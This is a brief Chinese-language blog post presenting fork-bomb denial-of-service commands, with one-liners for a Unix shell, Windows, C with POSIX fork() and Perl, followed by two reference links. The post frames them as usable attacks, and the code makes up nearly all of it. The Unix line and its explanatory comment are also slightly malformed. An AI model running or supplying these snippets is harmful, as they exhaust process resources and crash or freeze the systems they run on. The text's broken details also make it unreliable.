fork bomb 的 DoS

 在各種環境下,皆可使用該指令方式攻擊:
1. Unix-like Shell
$ :(){:|:&};:   # $為命令提示字元,如同 fbomb(){fbomb|fbomb &}; forkbomb

2.  Windows
> %0 | %0   # > 為命令提示字元

3. C with POSIX
#include<unistd.h>

int main(){
while(1)  // always true
   fork();
return 0;
}


4. Perl
fork while fork

參考資料
https://askubuntu.com/questions/159491/why-did-the-command-make-my-system-lag-so-badly-i-had-to-reboot

https://zh.wikipedia.org/wiki/Fork%E7%82%B8%E5%BC%B9

這個網誌中的熱門文章

Upgrade php and httpd(apache) on CentOS 7

Installing VMware workstation pro on Ubuntu 22.X (Jammy Jellyfish)